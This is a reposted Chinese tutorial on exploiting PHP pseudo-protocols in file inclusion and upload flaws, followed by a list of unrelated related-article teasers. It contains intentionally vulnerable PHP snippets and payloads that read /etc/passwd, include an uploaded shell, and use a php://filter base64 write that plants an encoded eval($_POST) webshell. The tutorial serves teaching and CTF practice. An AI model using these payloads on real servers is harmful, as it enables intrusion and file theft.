WEB安全--文件上传漏洞--php伪协议的利用

一、伪协议介绍

1.1、内容

在 PHP 中,伪协议通常指的是一种通过特定的 URL 协议方案实现某些特殊功能或行为的方式。伪协议通常并不是标准的协议(如 HTTP、HTTPS),而是由应用程序或开发者自定义的“伪”协议,用于执行某些特定任务。

1.2、各协议条件

伪协议allow_url_fopenallow_url_include描述及用途
file://需开启无影响访问本地文件:file_get_contents("file:///path/to/file")
php://input无影响无影响读取 HTTP 请求的原始数据流(如 POST 的 body):file_get_contents("php://input")
php://filter无影响无影响流式操作:如 Base64 编码、解码(结合 file:// 读取源码)
http://需开启需开启远程文件访问或 include(极不安全,建议禁用)
https://需开启需开启同上
ftp://需开启需开启FTP 访问文件(极不安全,建议禁用)
data://需开启无影响直接在脚本中内联数据流(极不安全,建议禁用)
zip://无影响无影响访问 ZIP 压缩包中的文件(无需开启远程访问)

二、利用方式

2.1、file://

介绍:

file:// 协议允许通过 PHP 函数访问本地文件。常见函数有:

  • file_get_contents()

  • fopen()

  • include / require

比如:

// 读取本地文件
echo file_get_contents("file:///etc/passwd");

示例:

1、任意文件读取
$file = $_GET['path'];
echo file_get_contents($file);  // 假设某应用支持动态文件读取http://example.com/vuln.php?path=file:///etc/passwd  // payload2、本地文件包含 (LFI)
$page = $_GET['page'];
include $page;                // include 动态文件http://example.com/vuln.php?page=file:///etc/passwd  //payload3、执行webshell
include "file:///var/www/uploads/shell.php";

2.2、php://input

介绍:

php://input 是 PHP 中的一个伪协议,用于读取原始的 POST 数据。与 $_POST 不同,php://input 不会经过 PHP 的解析器处理,可以获取到未经处理的原始数据流,通常用于接收如 JSON 或 XML 格式的请求体数据。

可以访问请求的原始数据只读流,将POST请求中的数据作为PHP代码执行。

示例:

后端过滤

‹?php
show_source(_FILE_);
include ('flag.php');$a = $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){echo "success\n";echo $flag;
} 
else
{
die('no no no');
}

可以看到,如果我们想得到flag就得进入第一个判断,那条件是什么呢?

主要就是怎么在传参时满足这个条件:(file_get_contents($a,'r')) === 'I want flag')

普通思路可以想我们直接输入'I want flag'

也就是  127.0.0.1/include.php?a=I want flag

但是这是没有用的,因为服务器目录中没有'I want flag'这个文件,就算有其内容也不是'I want flag'

但是file_get_contents($a,'r')可以接收文件名,也可以接收原始数据流;并且php://input可以接收post传参(数据流式传递)

当file_get_contents()接收到流式数据就不会去找文件名,直接读取数据流内容。

所以payload:

127.0.0.1/include.php/a=php://inputI want flag     //同时post传参

2.3、php://filter

介绍:

php://filter 能对流式数据进行处理,可以结合 file_get_contentsincluderequirefopen 等函数,对目标文件做特定操作,比如:

  • convert.base64-encode:对文件内容进行 Base64 编码

  • convert.base64-decode:对 Base64 内容进行解码

  • string.strip_tags:移除 HTML 标签

  • string.rot13:对内容进行 ROT13 加密

示例:

绕过死亡exit():

<?php
$filename=$_GET['filename'];
$content=$_GET['content'];
file_put_contents($filename,"<?php exit();".$content);

$content在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了。那么这种情况下,如何绕过这个“死亡exit”?

思路其实也很简单我们只要将content前面的那部分内容使用某种手段(编码等)进行处理,导致php不能识别该部分就可以了。

这里的$_GET[‘filename’]是可以控制协议的.

payload:

?filename=php://filter/convert.base64-
decode/resource=1.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==

解析payload:

Base64编码是使用64个可打印ASCII字符(A-Z、a-z、0-9、+、/)将任意字节序列数据编码成ASCII字符串,另有“=”符号用作后缀用途。

base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码

当$content被加上了<?php exit; ?>以后,我们可以使用php://filter/write=convert.base64-decode来首先对其解码。在解码的过程中,字符< ? ; >空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有”phpexit”和我们传入的其他字符。

由于,”phpexit”一共7个字符,但是base64算法解码时是4个byte一组,所以我们可以随便再给他添加一个字符。这样前边的phpexit加上另一个字符就会被base64解码,然后后边的我们精心构造的base64字符串也会被成功解码为php代码。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/75391.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

高级:高并发架构面试题深度解析

一、引言 在现代互联网应用开发中&#xff0c;高并发架构设计是确保系统在高负载下仍能稳定、高效运行的关键。面试官通过相关问题&#xff0c;考察候选人对高并发系统设计的理解、架构模式的掌握以及在实际项目中解决问题的能力。本文将深入剖析高并发系统的设计原则、常见的…

Opencv之dilib库:表情识别

一、简介 在计算机视觉领域&#xff0c;表情识别是一个既有趣又具有挑战性的任务。它在人机交互、情感分析、安防监控等众多领域都有着广泛的应用前景。本文将详细介绍如何使用 Python 中的 OpenCV 库和 Dlib 库来实现一个简单的实时表情识别系统。 二、实现原理 表情识别系统…

【动态规划】线性dp——LIS和LCS

参考文章 子序列 一个序列 A &#xff1d; a 1 , a 2 , … , a n A&#xff1d;a_1,a_2,…,a_n A&#xff1d;a1​,a2​,…,an​ 中任意删除若干项&#xff0c;剩余的序列叫做 A 的一个子序列。也可以认为是从序列 A 按原顺序保留任意若干项得到的序列。&#xff08;例如&…

umi框架开发移动端h5

1、官网&#xff1a;https://umijs.org/ 2、创建出来的项目 yarn create umi yarn start3、推荐目录结构 . ├── config │ └── config.ts ├── public//静态资源 ├── dist ├── mock │ └── app.ts&#xff5c;tsx ├── src │ ├── .umi │ ├── .um…

《Golang高性能网络编程:构建低延迟服务器应用》

在本文中&#xff0c;我们将深入探讨Golang高性能网络编程&#xff0c;帮助您构建低延迟服务器应用。我们将介绍Golang的网络编程特性、优化技巧和实际案例&#xff0c;让您更好地理解和应用Golang在网络编程领域的优势。 高性能网络编程简介 什么是Golang高性能网络编程 高性能…

循环结构- P1217-回文质数-第三十四天

洛谷题单 第三十四天&#xff1a;4.3&#xff08;周四&#xff09; 题目&#xff1a;循环结构–P1217 注意&#xff01;&#xff01;&#xff01;本题的解法在初学阶段足矣&#xff0c;使用埃氏筛即可全部AC&#xff08;高级算法&#xff0c;优化时间复杂度&#xff09;&…

github镜像网站的使用

很多时候我们无法访问github 那么我们可以网上搜索镜像网站 比如 https://blog.csdn.net/eytha/article/details/144797222 这里可以找到一些镜像站 然后直接编辑 c:/user/xxx/.gitconfig 内容如 [user]name xxxxemail xxxxhotmail.com [gui]recentrepo D:/ProjectFolder/t…

论定制开发开源 AI 智能名片 S2B2C 商城小程序源码在零售变革中的角色与价值

摘要&#xff1a;本文深入探讨了新零售中 O2O 模式的特点与局限性&#xff0c;指出其虽有导流作用但难以成为企业转型适应消费大环境的主力做法。强调解决零售根本问题需依靠大零售概念&#xff0c;包括业态融合、情境创造、分解渗透等。同时引入定制开发开源 AI 智能名片 S2B2…

硬件工程师零基础入门教程(三)

27.二极管的基本结构 二极管的结构就是一个PN节&#xff0c;导通后肯定会存在压降&#xff08;硅管≈0.7V&#xff1b;锗管≈0.3V&#xff09;。 其结构就像一个漏斗结构&#xff0c;普通二极管只能单向导通。 注意&#xff1a;二极管两端不能直接接大于二极管导通压降的电压…

ollama导入huggingface下载的大模型并量化

1. 导入GGUF 类型的模型 1.1 先在huggingface 下载需要ollama部署的大模型 1.2 编写modelfile 在ollama 里面输入 ollama show --modelfile <你有的模型名称> eg: ollama show --modelfile qwen2.5:latest修改其中的from 路径为自己的模型下载路径 FROM /Users/lzx/A…

C++基础系列【35】巧用assert

博主介绍&#xff1a;程序喵大人 35- 资深C/C/Rust/Android/iOS客户端开发10年大厂工作经验嵌入式/人工智能/自动驾驶/音视频/游戏开发入门级选手《C20高级编程》《C23高级编程》等多本书籍著译者更多原创精品文章&#xff0c;首发gzh&#xff0c;见文末&#x1f447;&#x1f…

【EI检索】2025年城市设计与规划国际会议 (CoUDP 2025)

重要信息 会议网址&#xff1a;www.coudp.org 会议时间&#xff1a;2025年9月19-21日 召开地点&#xff1a;中国北京 截稿时间&#xff1a;2025年8月19日 录用通知&#xff1a;投稿后2周内 收录检索&#xff1a;Ei Compendex, SCOPUS 会议简介 2025年城市设计与规划…

《实战AI智能体》MCP对Agent有哪些好处

首先MCP为Agent提供了标准化的方式来接入各种工具和数据源,无论是本地运行的工具,例如通过stdio服务器,还是远程托管的服务HTTP over SSE服务, Agent都可以通过统一的接口与它们进行交互,极大扩展了第三方工具库。 例如,在金融领域,Agent 可以接入股票分析的MCP工具。当…

知识图谱在官网中的本质与部署逻辑

知识图谱在官网中的本质与部署逻辑 ​1. 知识图谱不是独立页面&#xff0c;而是智能化基础设施 知识图谱的最终形态并非一个可见的“图谱页面”&#xff0c;而是渗透在官网各交互模块的AI能力引擎&#xff0c;其核心作用在于&#xff1a; ​后台&#xff1a;构建实体关系网络…

蓝桥杯冲刺

例题1&#xff1a;握手问题 方法1&#xff1a;数学推理(简单粗暴&#xff09; 方法2&#xff1a;用代码实现方法1 #include<iostream> using namespace std; int main() {int result 0;for (int i 1; i < 49; i){for (int j i 1; j < 50; j){//第i个人与第j个…

如何在服务器里备份文件或系统

当我们在企业里&#xff0c;备份文件或者系统是需要经常做的&#xff0c;当我们服务器系统崩溃了或者损坏了&#xff0c;或者我们的存放的工作需求的文件夹损坏丢失&#xff0c;这时候如何我们提前备份了就可以快速回复。 那接下来我们直接上实操&#xff0c;接下来操作是在虚…

Qt实现点击按钮弹出侧边框(可用于登录界面)

Qt实现点击按钮弹出侧边框 1、创建界面2、封面按钮实现2.1 连接信号与槽2.2固定封面按钮、侧边框及各个标签位置和顶层显示封面按钮2.3创建侧边框状态并在初始化列表中初始化2.4 侧边框动画效果实现 3、视频演示效果4、总结 1、创建界面 封面按钮样式表 QPushButton { border…

SQL WHERE 与 HAVING

WHERE 和 HAVING 都是 SQL 中用于筛选数据的子句&#xff0c;但它们有重要的区别 WHERE 子句 在 分组前 过滤数据 作用于 原始数据行 不能使用聚合函数 执行效率通常比 HAVING 高 SELECT column1, column2 FROM table WHERE condition; HAVING 子句 在 分组后 过滤数据 …

表格数据导出为Excel

环境及插件配置&#xff1a;&#xff08;理论上vue2应该也可以使用&#xff0c;没有试验过&#xff09; "vue": "^3.2.36", "webpack": "^5.94.0", "webpack-cli": "^5.1.4", "file-saver": "^2.…

Photoshop 2025 Mac中文 Ps图像编辑软件

Photoshop 2025 Mac中文 Ps图像编辑软件 文章目录 Photoshop 2025 Mac中文 Ps图像编辑软件一、介绍二、效果三、下载 一、介绍 Adobe Photoshop 2025 Mac版集成了多种强大的图像编辑、处理和创作功能。①强化了Adobe Sensei AI的应用&#xff0c;通过智能抠图、自动修复、图像…